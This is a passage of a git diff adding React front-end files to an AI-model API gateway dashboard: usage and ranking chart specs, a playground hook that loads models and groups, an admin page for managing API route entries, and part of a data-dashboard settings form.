+          for (let i = 0; i < array.length; i++) {
+            if (array[i].key == '其他') {
+              continue;
+            }
+            let value = parseFloat(array[i].value);
+            if (isNaN(value)) {
+              value = 0;
+            }
+            if (array[i].datum && array[i].datum.TimeSum) {
+              sum = array[i].datum.TimeSum;
+            }
+            array[i].value = renderQuota(value, 4);
+          }
+          array.unshift({
+            key: t('总计'),
+            value: renderQuota(sum, 4),
+          });
+          return array;
+        },
+      },
+    },
+    color: {
+      specified: modelColorMap,
+    },
+  });
+
+  const [spec_model_line, setSpecModelLine] = useState({
+    type: 'line',
+    data: [
+      {
+        id: 'lineData',
+        values: [],
+      },
+    ],
+    xField: 'Time',
+    yField: 'Count',
+    seriesField: 'Model',
+    legends: {
+      visible: true,
+      selectMode: 'single',
+    },
+    title: {
+      visible: true,
+      text: t('调用趋势'),
+      subtext: '',
+    },
+    tooltip: {
+      mark: {
+        content: [
+          {
+            key: (datum) => datum['Model'],
+            value: (datum) => renderNumber(datum['Count']),
+          },
+        ],
+      },
+      dimension: {
+        content: [
+          {
+            key: (datum) => datum['Model'],
+            value: (datum) => datum['Count'] || 0,
+          },
+        ],
+        updateContent: (array) => {
+          array.sort((a, b) => b.value - a.value);
+          let sum = 0;
+          for (let i = 0; i < array.length; i++) {
+            let value = parseFloat(array[i].value);
+            if (isNaN(value)) value = 0;
+            sum += value;
+            array[i].value = renderNumber(value);
+          }
+          array.unshift({
+            key: t('总计'),
+            value: renderNumber(sum),
+          });
+          return array;
+        },
+      },
+    },
+    color: {
+      specified: modelColorMap,
+    },
+  });
+
+  const [spec_rank_bar, setSpecRankBar] = useState({
+    type: 'bar',
+    data: [
+      {
+        id: 'rankData',
+        values: [],
+      },
+    ],
+    xField: 'Model',
+    yField: 'Count',
+    seriesField: 'Model',
+    legends: {
+      visible: true,
+      selectMode: 'single',
+    },
+    title: {
+      visible: true,
+      text: t('模型调用次数排行'),
+      subtext: '',
+    },
+    bar: {
+      state: {
+        hover: {
+          stroke: '#000',
+          lineWidth: 1,
+        },
+      },
+    },
+    tooltip: {
+      mark: {
+        content: [
+          {
+            key: (datum) => datum['Model'],
+            value: (datum) => renderNumber(datum['Count']),
+          },
+        ],
+      },
+    },
+    color: {
+      specified: modelColorMap,
+    },
+  });
+
+  // ========== Admin: 用户消耗排行 ==========
+  const [spec_user_rank, setSpecUserRank] = useState({
+    type: 'bar',
+    data: [{ id: 'userRankData', values: [] }],
+    xField: 'rawQuota',
+    yField: 'User',
+    seriesField: 'User',
+    direction: 'horizontal',
+    legends: { visible: false },
+    title: {
+      visible: true,
+      text: t('用户消耗排行'),
+      subtext: '',
+    },
+    bar: {
+      state: { hover: { stroke: '#000', lineWidth: 1 } },
+    },
+    label: {
+      visible: true,
+      position: 'outside',
+      formatMethod: (value, datum) => renderQuota(datum['rawQuota'] || 0, 2),
+    },
+    axes: [{
+      orient: 'left',
+      type: 'band',
+      label: { visible: true },
+    }, {
+      orient: 'bottom',
+      type: 'linear',
+      visible: false,
+    }],
+    tooltip: {
+      mark: {
+        content: [{
+          key: (datum) => datum['User'],
+          value: (datum) => renderQuota(datum['rawQuota'] || 0, 4),
+        }],
+      },
+    },
+    color: { type: 'ordinal', range: USER_COLORS },
+  });
+
+  // ========== Admin: 用户消耗趋势 ==========
+  const [spec_user_trend, setSpecUserTrend] = useState({
+    type: 'area',
+    data: [{ id: 'userTrendData', values: [] }],
+    xField: 'Time',
+    yField: 'rawQuota',
+    seriesField: 'User',
+    stack: false,
+    legends: { visible: true, selectMode: 'single' },
+    title: {
+      visible: true,
+      text: t('用户消耗趋势'),
+      subtext: '',
+    },
+    axes: [{
+      orient: 'left',
+      label: {
+        formatMethod: (value) => renderQuota(value, 2),
+      },
+    }],
+    area: { style: { fillOpacity: 0.15 } },
+    line: { style: { lineWidth: 2 } },
+    point: { visible: false },
+    tooltip: {
+      mark: {
+        content: [{
+          key: (datum) => datum['User'],
+          value: (datum) => renderQuota(datum['rawQuota'] || 0, 4),
+        }],
+      },
+      dimension: {
+        content: [{
+          key: (datum) => datum['User'],
+          value: (datum) => datum['rawQuota'] || 0,
+        }],
+        updateContent: (array) => {
+          array.sort((a, b) => b.value - a.value);
+          let sum = 0;
+          for (let i = 0; i < array.length; i++) {
+            let value = parseFloat(array[i].value);
+            if (isNaN(value)) value = 0;
+            sum += value;
+            array[i].value = renderQuota(value, 4);
+          }
+          array.unshift({
+            key: t('总计'),
+            value: renderQuota(sum, 4),
+          });
+          return array;
+        },
+      },
+    },
+    color: { type: 'ordinal', range: USER_COLORS },
+  });
+
+  // ========== 数据处理函数 ==========
+  const generateModelColors = useCallback((uniqueModels, modelColors) => {
+    const newModelColors = {};
+    Array.from(uniqueModels).forEach((modelName) => {
+      newModelColors[modelName] =
+        modelColorMap[modelName] ||
+        modelColors[modelName] ||
+        modelToColor(modelName);
+    });
+    return newModelColors;
+  }, []);
+
+  const updateChartData = useCallback(
+    (data) => {
+      const processedData = processRawData(
+        data,
+        dataExportDefaultTime,
+        initializeMaps,
+        updateMapValue,
+      );
+
+      const {
+        totalQuota,
+        totalTimes,
+        totalTokens,
+        uniqueModels,
+        timePoints,
+        timeQuotaMap,
+        timeTokensMap,
+        timeCountMap,
+      } = processedData;
+
+      const trendDataResult = calculateTrendData(
+        timePoints,
+        timeQuotaMap,
+        timeTokensMap,
+        timeCountMap,
+        dataExportDefaultTime,
+      );
+      setTrendData(trendDataResult);
+
+      const newModelColors = generateModelColors(uniqueModels, {});
+      setModelColors(newModelColors);
+
+      const aggregatedData = aggregateDataByTimeAndModel(
+        data,
+        dataExportDefaultTime,
+      );
+
+      const modelTotals = new Map();
+      for (let [_, value] of aggregatedData) {
+        updateMapValue(modelTotals, value.model, value.count);
+      }
+
+      const newPieData = Array.from(modelTotals)
+        .map(([model, count]) => ({
+          type: model,
+          value: count,
+        }))
+        .sort((a, b) => b.value - a.value);
+
+      const chartTimePoints = generateChartTimePoints(
+        aggregatedData,
+        data,
+        dataExportDefaultTime,
+      );
+
+      let newLineData = [];
+
+      chartTimePoints.forEach((time) => {
+        let timeData = Array.from(uniqueModels).map((model) => {
+          const key = `${time}-${model}`;
+          const aggregated = aggregatedData.get(key);
+          return {
+            Time: time,
+            Model: model,
+            rawQuota: aggregated?.quota || 0,
+            Usage: aggregated?.quota
+              ? getQuotaWithUnit(aggregated.quota, 4)
+              : 0,
+          };
+        });
+
+        const timeSum = timeData.reduce((sum, item) => sum + item.rawQuota, 0);
+        timeData.sort((a, b) => b.rawQuota - a.rawQuota);
+        timeData = timeData.map((item) => ({ ...item, TimeSum: timeSum }));
+        newLineData.push(...timeData);
+      });
+
+      newLineData.sort((a, b) => a.Time.localeCompare(b.Time));
+
+      updateChartSpec(
+        setSpecPie,
+        newPieData,
+        `${t('总计')}：${renderNumber(totalTimes)}`,
+        newModelColors,
+        'id0',
+      );
+
+      updateChartSpec(
+        setSpecLine,
+        newLineData,
+        `${t('总计')}：${renderQuota(totalQuota, 2)}`,
+        newModelColors,
+        'barData',
+      );
+
+      // ===== 模型调用次数折线图 =====
+      let modelLineData = [];
+      chartTimePoints.forEach((time) => {
+        const timeData = Array.from(uniqueModels).map((model) => {
+          const key = `${time}-${model}`;
+          const aggregated = aggregatedData.get(key);
+          return {
+            Time: time,
+            Model: model,
+            Count: aggregated?.count || 0,
+          };
+        });
+        modelLineData.push(...timeData);
+      });
+      modelLineData.sort((a, b) => a.Time.localeCompare(b.Time));
+
+      // ===== 模型调用次数排行柱状图 =====
+      const MAX_RANK_MODELS = 20;
+      const allRankData = Array.from(modelTotals)
+        .map(([model, count]) => ({
+          Model: model,
+          Count: count,
+        }))
+        .sort((a, b) => b.Count - a.Count);
+
+      let rankData;
+      if (allRankData.length > MAX_RANK_MODELS) {
+        const topModels = allRankData.slice(0, MAX_RANK_MODELS);
+        const otherCount = allRankData
+          .slice(MAX_RANK_MODELS)
+          .reduce((sum, item) => sum + item.Count, 0);
+        rankData = [...topModels, { Model: t('其他'), Count: otherCount }];
+      } else {
+        rankData = allRankData;
+      }
+
+      updateChartSpec(
+        setSpecModelLine,
+        modelLineData,
+        `${t('总计')}：${renderNumber(totalTimes)}`,
+        newModelColors,
+        'lineData',
+      );
+
+      updateChartSpec(
+        setSpecRankBar,
+        rankData,
+        `${t('总计')}：${renderNumber(totalTimes)}`,
+        newModelColors,
+        'rankData',
+      );
+
+      setPieData(newPieData);
+      setLineData(newLineData);
+      setConsumeQuota(totalQuota);
+      setTimes(totalTimes);
+      setConsumeTokens(totalTokens);
+    },
+    [
+      dataExportDefaultTime,
+      setTrendData,
+      generateModelColors,
+      setModelColors,
+      setPieData,
+      setLineData,
+      setConsumeQuota,
+      setTimes,
+      setConsumeTokens,
+      t,
+    ],
+  );
+
+  // ========== 用户维度图表数据处理 ==========
+  const updateUserChartData = useCallback(
+    (data) => {
+      const { rankingData, trendData: userTrend } = processUserData(
+        data,
+        dataExportDefaultTime,
+        10,
+      );
+
+      const userRankValues = rankingData.map((item) => ({
+        User: item.User,
+        rawQuota: item.Quota,
+        Quota: getQuotaWithUnit(item.Quota, 4),
+      })).sort((a, b) => b.rawQuota - a.rawQuota);
+
+      const totalUserQuota = rankingData.reduce((s, i) => s + i.Quota, 0);
+
+      setSpecUserRank((prev) => ({
+        ...prev,
+        data: [{ id: 'userRankData', values: userRankValues }],
+        title: {
+          ...prev.title,
+          subtext: `${t('总计')}：${renderQuota(totalUserQuota, 2)}`,
+        },
+      }));
+
+      const userTrendValues = userTrend.map((item) => ({
+        Time: item.Time,
+        User: item.User,
+        rawQuota: item.Quota,
+        Usage: item.Quota ? getQuotaWithUnit(item.Quota, 4) : 0,
+      }));
+
+      setSpecUserTrend((prev) => ({
+        ...prev,
+        data: [{ id: 'userTrendData', values: userTrendValues }],
+        title: {
+          ...prev.title,
+          subtext: `${t('总计')}：${renderQuota(totalUserQuota, 2)}`,
+        },
+      }));
+    },
+    [dataExportDefaultTime, t],
+  );
+
+  // ========== 初始化图表主题 ==========
+  useEffect(() => {
+    initVChartSemiTheme({
+      isWatchingThemeSwitch: true,
+    });
+  }, []);
+
+  return {
+    spec_pie,
+    spec_line,
+    spec_model_line,
+    spec_rank_bar,
+    spec_user_rank,
+    spec_user_trend,
+    updateChartData,
+    updateUserChartData,
+    generateModelColors,
+  };
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/playground/useDataLoader.js b/_all-in-one-upload/new-api/web/classic/src/hooks/playground/useDataLoader.js
new file mode 100644
index 0000000..e5dbfeb
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/playground/useDataLoader.js
@@ -0,0 +1,95 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useCallback, useEffect } from 'react';
+import { useTranslation } from 'react-i18next';
+import { API, processModelsData, processGroupsData } from '../../helpers';
+import { API_ENDPOINTS } from '../../constants/playground.constants';
+
+export const useDataLoader = (
+  userState,
+  inputs,
+  handleInputChange,
+  setModels,
+  setGroups,
+) => {
+  const { t } = useTranslation();
+
+  const loadModels = useCallback(async () => {
+    try {
+      const res = await API.get(API_ENDPOINTS.USER_MODELS);
+      const { success, message, data } = res.data;
+
+      if (success) {
+        const { modelOptions, selectedModel } = processModelsData(
+          data,
+          inputs.model,
+        );
+        setModels(modelOptions);
+
+        if (selectedModel !== inputs.model) {
+          handleInputChange('model', selectedModel);
+        }
+      } else {
+        showError(t(message));
+      }
+    } catch (error) {
+      showError(t('加载模型失败'));
+    }
+  }, [inputs.model, handleInputChange, setModels, t]);
+
+  const loadGroups = useCallback(async () => {
+    try {
+      const res = await API.get(API_ENDPOINTS.USER_GROUPS);
+      const { success, message, data } = res.data;
+
+      if (success) {
+        const userGroup =
+          userState?.user?.group ||
+          JSON.parse(localStorage.getItem('user'))?.group;
+        const groupOptions = processGroupsData(data, userGroup);
+        setGroups(groupOptions);
+
+        const hasCurrentGroup = groupOptions.some(
+          (option) => option.value === inputs.group,
+        );
+        if (!hasCurrentGroup) {
+          handleInputChange('group', groupOptions[0]?.value || '');
+        }
+      } else {
+        showError(t(message));
+      }
+    } catch (error) {
+      showError(t('加载分组失败'));
+    }
+  }, [userState, inputs.group, handleInputChange, setGroups, t]);
+
+  // 自动加载数据
+  useEffect(() => {
+    if (userState?.user) {
+      loadModels();
+      loadGroups();
+    }
+  }, [userState?.user, loadModels, loadGroups]);
+
+  return {
+    loadModels,
+    loadGroups,
+  };
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsAPIInfo.jsx b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsAPIInfo.jsx
new file mode 100644
index 0000000..8116cfc
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsAPIInfo.jsx
@@ -0,0 +1,514 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState } from 'react';
+import {
+  Button,
+  Space,
+  Table,
+  Form,
+  Typography,
+  Empty,
+  Divider,
+  Avatar,
+  Modal,
+  Tag,
+  Switch,
+} from '@douyinfe/semi-ui';
+import {
+  IllustrationNoResult,
+  IllustrationNoResultDark,
+} from '@douyinfe/semi-illustrations';
+import { Plus, Edit, Trash2, Save, Settings } from 'lucide-react';
+import { API, showError, showSuccess } from '../../../helpers';
+import { useTranslation } from 'react-i18next';
+
+const { Text } = Typography;
+
+const SettingsAPIInfo = ({ options, refresh }) => {
+  const { t } = useTranslation();
+
+  const [apiInfoList, setApiInfoList] = useState([]);
+  const [showApiModal, setShowApiModal] = useState(false);
+  const [showDeleteModal, setShowDeleteModal] = useState(false);
+  const [deletingApi, setDeletingApi] = useState(null);
+  const [editingApi, setEditingApi] = useState(null);
+  const [modalLoading, setModalLoading] = useState(false);
+  const [loading, setLoading] = useState(false);
+  const [hasChanges, setHasChanges] = useState(false);
+  const [apiForm, setApiForm] = useState({
+    url: '',
+    description: '',
+    route: '',
+    color: 'blue',
+  });
+  const [currentPage, setCurrentPage] = useState(1);
+  const [pageSize, setPageSize] = useState(10);
+  const [selectedRowKeys, setSelectedRowKeys] = useState([]);
+
+  // 面板启用状态 state
+  const [panelEnabled, setPanelEnabled] = useState(true);
+
+  const colorOptions = [
+    { value: 'blue', label: 'blue' },
+    { value: 'green', label: 'green' },
+    { value: 'cyan', label: 'cyan' },
+    { value: 'purple', label: 'purple' },
+    { value: 'pink', label: 'pink' },
+    { value: 'red', label: 'red' },
+    { value: 'orange', label: 'orange' },
+    { value: 'amber', label: 'amber' },
+    { value: 'yellow', label: 'yellow' },
+    { value: 'lime', label: 'lime' },
+    { value: 'light-green', label: 'light-green' },
+    { value: 'teal', label: 'teal' },
+    { value: 'light-blue', label: 'light-blue' },
+    { value: 'indigo', label: 'indigo' },
+    { value: 'violet', label: 'violet' },
+    { value: 'grey', label: 'grey' },
+  ];
+
+  const updateOption = async (key, value) => {
+    const res = await API.put('/api/option/', {
+      key,
+      value,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess('API信息已更新');
+      if (refresh) refresh();
+    } else {
+      showError(message);
+    }
+  };
+
+  const submitApiInfo = async () => {
+    try {
+      setLoading(true);
+      const apiInfoJson = JSON.stringify(apiInfoList);
+      await updateOption('console_setting.api_info', apiInfoJson);
+      setHasChanges(false);
+    } catch (error) {
+      console.error('API信息更新失败', error);
+      showError('API信息更新失败');
+    } finally {
+      setLoading(false);
+    }
+  };
+
+  const handleAddApi = () => {
+    setEditingApi(null);
+    setApiForm({
+      url: '',
+      description: '',
+      route: '',
+      color: 'blue',
+    });
+    setShowApiModal(true);
+  };
+
+  const handleEditApi = (api) => {
+    setEditingApi(api);
+    setApiForm({
+      url: api.url,
+      description: api.description,
+      route: api.route,
+      color: api.color,
+    });
+    setShowApiModal(true);
+  };
+
+  const handleDeleteApi = (api) => {
+    setDeletingApi(api);
+    setShowDeleteModal(true);
+  };
+
+  const confirmDeleteApi = () => {
+    if (deletingApi) {
+      const newList = apiInfoList.filter((api) => api.id !== deletingApi.id);
+      setApiInfoList(newList);
+      setHasChanges(true);
+      showSuccess('API信息已删除，请及时点击“保存设置”进行保存');
+    }
+    setShowDeleteModal(false);
+    setDeletingApi(null);
+  };
+
+  const handleSaveApi = async () => {
+    if (!apiForm.url || !apiForm.route || !apiForm.description) {
+      showError('请填写完整的API信息');
+      return;
+    }
+
+    try {
+      setModalLoading(true);
+
+      let newList;
+      if (editingApi) {
+        newList = apiInfoList.map((api) =>
+          api.id === editingApi.id ? { ...api, ...apiForm } : api,
+        );
+      } else {
+        const newId = Math.max(...apiInfoList.map((api) => api.id), 0) + 1;
+        const newApi = {
+          id: newId,
+          ...apiForm,
+        };
+        newList = [...apiInfoList, newApi];
+      }
+
+      setApiInfoList(newList);
+      setHasChanges(true);
+      setShowApiModal(false);
+      showSuccess(
+        editingApi
+          ? 'API信息已更新，请及时点击“保存设置”进行保存'
+          : 'API信息已添加，请及时点击“保存设置”进行保存',
+      );
+    } catch (error) {
+      showError('操作失败: ' + error.message);
+    } finally {
+      setModalLoading(false);
+    }
+  };
+
+  const parseApiInfo = (apiInfoStr) => {
+    if (!apiInfoStr) {
+      setApiInfoList([]);
+      return;
+    }
+
+    try {
+      const parsed = JSON.parse(apiInfoStr);
+      setApiInfoList(Array.isArray(parsed) ? parsed : []);
+    } catch (error) {
+      console.error('解析API信息失败:', error);
+      setApiInfoList([]);
+    }
+  };
+
+  useEffect(() => {
+    const apiInfoStr = options['console_setting.api_info'] ?? options.ApiInfo;
+    if (apiInfoStr !== undefined) {
+      parseApiInfo(apiInfoStr);
+    }
+  }, [options['console_setting.api_info'], options.ApiInfo]);
+
+  useEffect(() => {
+    const enabledStr = options['console_setting.api_info_enabled'];
+    setPanelEnabled(
+      enabledStr === undefined
+        ? true
+        : enabledStr === 'true' || enabledStr === true,
+    );
+  }, [options['console_setting.api_info_enabled']]);
+
+  const handleToggleEnabled = async (checked) => {
+    const newValue = checked ? 'true' : 'false';
+    try {
+      const res = await API.put('/api/option/', {
+        key: 'console_setting.api_info_enabled',
+        value: newValue,
+      });
+      if (res.data.success) {
+        setPanelEnabled(checked);
+        showSuccess(t('设置已保存'));
+        refresh?.();
+      } else {
+        showError(res.data.message);
+      }
+    } catch (err) {
+      showError(err.message);
+    }
+  };
+
+  const columns = [
+    {
+      title: 'ID',
+      dataIndex: 'id',
+    },
+    {
+      title: t('API地址'),
+      dataIndex: 'url',
+      render: (text, record) => (
+        <Tag color={record.color} shape='circle' style={{ maxWidth: '280px' }}>
+          {text}
+        </Tag>
+      ),
+    },
+    {
+      title: t('线路描述'),
+      dataIndex: 'route',
+      render: (text, record) => <Tag shape='circle'>{text}</Tag>,
+    },
+    {
+      title: t('说明'),
+      dataIndex: 'description',
+      ellipsis: true,
+      render: (text, record) => <Tag shape='circle'>{text || '-'}</Tag>,
+    },
+    {
+      title: t('颜色'),
+      dataIndex: 'color',
+      render: (color) => <Avatar size='extra-extra-small' color={color} />,
+    },
+    {
+      title: t('操作'),
+      fixed: 'right',
+      width: 150,
+      render: (_, record) => (
+        <Space>
+          <Button
+            icon={<Edit size={14} />}
+            theme='light'
+            type='tertiary'
+            size='small'
+            onClick={() => handleEditApi(record)}
+          >
+            {t('编辑')}
+          </Button>
+          <Button
+            icon={<Trash2 size={14} />}
+            type='danger'
+            theme='light'
+            size='small'
+            onClick={() => handleDeleteApi(record)}
+          >
+            {t('删除')}
+          </Button>
+        </Space>
+      ),
+    },
+  ];
+
+  const handleBatchDelete = () => {
+    if (selectedRowKeys.length === 0) {
+      showError('请先选择要删除的API信息');
+      return;
+    }
+
+    const newList = apiInfoList.filter(
+      (api) => !selectedRowKeys.includes(api.id),
+    );
+    setApiInfoList(newList);
+    setSelectedRowKeys([]);
+    setHasChanges(true);
+    showSuccess(
+      `已删除 ${selectedRowKeys.length} 个API信息，请及时点击“保存设置”进行保存`,
+    );
+  };
+
+  const renderHeader = () => (
+    <div className='flex flex-col w-full'>
+      <div className='mb-2'>
+        <div className='flex items-center text-blue-500'>
+          <Settings size={16} className='mr-2' />
+          <Text>
+            {t(
+              'API信息管理，可以配置多个API地址用于状态展示和负载均衡（最多50个）',
+            )}
+          </Text>
+        </div>
+      </div>
+
+      <Divider margin='12px' />
+
+      <div className='flex flex-col md:flex-row justify-between items-center gap-4 w-full'>
+        <div className='flex gap-2 w-full md:w-auto order-2 md:order-1'>
+          <Button
+            theme='light'
+            type='primary'
+            icon={<Plus size={14} />}
+            className='w-full md:w-auto'
+            onClick={handleAddApi}
+          >
+            {t('添加API')}
+          </Button>
+          <Button
+            icon={<Trash2 size={14} />}
+            type='danger'
+            theme='light'
+            onClick={handleBatchDelete}
+            disabled={selectedRowKeys.length === 0}
+            className='w-full md:w-auto'
+          >
+            {t('批量删除')}{' '}
+            {selectedRowKeys.length > 0 && `(${selectedRowKeys.length})`}
+          </Button>
+          <Button
+            icon={<Save size={14} />}
+            onClick={submitApiInfo}
+            loading={loading}
+            disabled={!hasChanges}
+            type='secondary'
+            className='w-full md:w-auto'
+          >
+            {t('保存设置')}
+          </Button>
+        </div>
+
+        {/* 启用开关 */}
+        <div className='order-1 md:order-2 flex items-center gap-2'>
+          <Switch checked={panelEnabled} onChange={handleToggleEnabled} />
+          <Text>{panelEnabled ? t('已启用') : t('已禁用')}</Text>
+        </div>
+      </div>
+    </div>
+  );
+
+  // 计算当前页显示的数据
+  const getCurrentPageData = () => {
+    const startIndex = (currentPage - 1) * pageSize;
+    const endIndex = startIndex + pageSize;
+    return apiInfoList.slice(startIndex, endIndex);
+  };
+
+  const rowSelection = {
+    selectedRowKeys,
+    onChange: (selectedRowKeys, selectedRows) => {
+      setSelectedRowKeys(selectedRowKeys);
+    },
+    onSelect: (record, selected, selectedRows) => {
+      console.log(`选择行: ${selected}`, record);
+    },
+    onSelectAll: (selected, selectedRows) => {
+      console.log(`全选: ${selected}`, selectedRows);
+    },
+    getCheckboxProps: (record) => ({
+      disabled: false,
+      name: record.id,
+    }),
+  };
+
+  return (
+    <>
+      <Form.Section text={renderHeader()}>
+        <Table
+          columns={columns}
+          dataSource={getCurrentPageData()}
+          rowSelection={rowSelection}
+          rowKey='id'
+          scroll={{ x: 'max-content' }}
+          pagination={{
+            currentPage: currentPage,
+            pageSize: pageSize,
+            total: apiInfoList.length,
+            showSizeChanger: true,
+            showQuickJumper: true,
+            pageSizeOptions: ['5', '10', '20', '50'],
+            onChange: (page, size) => {
+              setCurrentPage(page);
+              setPageSize(size);
+            },
+            onShowSizeChange: (current, size) => {
+              setCurrentPage(1);
+              setPageSize(size);
+            },
+          }}
+          size='middle'
+          loading={loading}
+          empty={
+            <Empty
+              image={
+                <IllustrationNoResult style={{ width: 150, height: 150 }} />
+              }
+              darkModeImage={
+                <IllustrationNoResultDark style={{ width: 150, height: 150 }} />
+              }
+              description={t('暂无API信息')}
+              style={{ padding: 30 }}
+            />
+          }
+          className='overflow-hidden'
+        />
+      </Form.Section>
+
+      <Modal
+        title={editingApi ? t('编辑API') : t('添加API')}
+        visible={showApiModal}
+        onOk={handleSaveApi}
+        onCancel={() => setShowApiModal(false)}
+        okText={t('保存')}
+        cancelText={t('取消')}
+        confirmLoading={modalLoading}
+      >
+        <Form
+          layout='vertical'
+          initValues={apiForm}
+          key={editingApi ? editingApi.id : 'new'}
+        >
+          <Form.Input
+            field='url'
+            label={t('API地址')}
+            placeholder='https://api.example.com'
+            rules={[{ required: true, message: t('请输入API地址') }]}
+            onChange={(value) => setApiForm({ ...apiForm, url: value })}
+          />
+          <Form.Input
+            field='route'
+            label={t('线路描述')}
+            placeholder={t('如：香港线路')}
+            rules={[{ required: true, message: t('请输入线路描述') }]}
+            onChange={(value) => setApiForm({ ...apiForm, route: value })}
+          />
+          <Form.Input
+            field='description'
+            label={t('说明')}
+            placeholder={t('如：大带宽批量分析图片推荐')}
+            rules={[{ required: true, message: t('请输入说明') }]}
+            onChange={(value) => setApiForm({ ...apiForm, description: value })}
+          />
+          <Form.Select
+            field='color'
+            label={t('标识颜色')}
+            optionList={colorOptions}
+            onChange={(value) => setApiForm({ ...apiForm, color: value })}
+            render={(option) => (
+              <div style={{ display: 'flex', alignItems: 'center', gap: 8 }}>
+                <Avatar size='extra-extra-small' color={option.value} />
+                {option.label}
+              </div>
+            )}
+          />
+        </Form>
+      </Modal>
+
+      <Modal
+        title={t('确认删除')}
+        visible={showDeleteModal}
+        onOk={confirmDeleteApi}
+        onCancel={() => {
+          setShowDeleteModal(false);
+          setDeletingApi(null);
+        }}
+        okText={t('确认删除')}
+        cancelText={t('取消')}
+        type='warning'
+        okButtonProps={{
+          type: 'danger',
+          theme: 'solid',
+        }}
+      >
+        <Text>{t('确定要删除此API信息吗？')}</Text>
+      </Modal>
+    </>
+  );
+};
+
+export default SettingsAPIInfo;
diff --git a/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsDataDashboard.jsx b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsDataDashboard.jsx
new file mode 100644
index 0000000..c33ba77
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Dashboard/SettingsDataDashboard.jsx
@@ -0,0 +1,170 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useRef } from 'react';
+import { Button, Col, Form, Row, Spin } from '@douyinfe/semi-ui';
+import {
+  compareObjects,
+  API,
+  showError,
+  showSuccess,
+  showWarning,
+} from '../../../helpers';
+import { useTranslation } from 'react-i18next';
+
+export default function DataDashboard(props) {
+  const { t } = useTranslation();
+
+  const optionsDataExportDefaultTime = [
+    { key: 'hour', label: t('小时'), value: 'hour' },
+    { key: 'day', label: t('天'), value: 'day' },
+    { key: 'week', label: t('周'), value: 'week' },
+  ];
+  const [loading, setLoading] = useState(false);
+  const [inputs, setInputs] = useState({
+    DataExportEnabled: false,
+    DataExportInterval: '',
+    DataExportDefaultTime: '',
+  });
+  const refForm = useRef();
+  const [inputsRow, setInputsRow] = useState(inputs);
+
+  function onSubmit() {
+    const updateArray = compareObjects(inputs, inputsRow);
+    if (!updateArray.length) return showWarning(t('你似乎并没有修改什么'));
+    const requestQueue = updateArray.map((item) => {
+      let value = '';
+      if (typeof inputs[item.key] === 'boolean') {
+        value = String(inputs[item.key]);
+      } else {
+        value = inputs[item.key];
+      }
+      return API.put('/api/option/', {
+        key: item.key,
+        value,
+      });
+    });
+    setLoading(true);
+    Promise.all(requestQueue)
+      .then((res) => {
+        if (requestQueue.length === 1) {
+          if (res.includes(undefined)) return;
+        } else if (requestQueue.length > 1) {
+          if (res.includes(undefined))
+            return showError(t('部分保存失败，请重试'));
+        }
+        showSuccess(t('保存成功'));
+        props.refresh();
+      })
+      .catch(() => {
+        showError(t('保存失败，请重试'));
+      })
+      .finally(() => {
+        setLoading(false);
+      });
+  }
+
+  useEffect(() => {
+    const currentInputs = {};
+    for (let key in props.options) {
+      if (Object.keys(inputs).includes(key)) {
+        currentInputs[key] = props.options[key];
+      }
+    }
+    setInputs(currentInputs);
+    setInputsRow(structuredClone(currentInputs));
+    refForm.current.setValues(currentInputs);
+    localStorage.setItem(
+      'data_export_default_time',
+      String(inputs.DataExportDefaultTime),
+    );
+  }, [props.options]);
+
+  return (
+    <>
+      <Spin spinning={loading}>
+        <Form
+          values={inputs}
+          getFormApi={(formAPI) => (refForm.current = formAPI)}
+          style={{ marginBottom: 15 }}
+        >
+          <Form.Section text={t('数据看板设置')}>
+            <Row gutter={16}>
+              <Col xs={24} sm={12} md={8} lg={8} xl={8}>
+                <Form.Switch
+                  field={'DataExportEnabled'}
+                  label={t('启用数据看板（实验性）')}
+                  size='default'
+                  checkedText='｜'
+                  uncheckedText='〇'
+                  onChange={(value) => {
+                    setInputs({
+                      ...inputs,
+                      DataExportEnabled: value,
+                    });
+                  }}
+                />
+              </Col>
+            </Row>
+            <Row>
+              <Col xs={24} sm={12} md={8} lg={8} xl={8}>
+                <Form.InputNumber
+                  label={t('数据看板更新间隔')}
+                  step={1}
+                  min={1}
+                  suffix={t('分钟')}
+                  extraText={t('设置过短会影响数据库性能')}
+                  placeholder={t('数据看板更新间隔')}
+                  field={'DataExportInterval'}
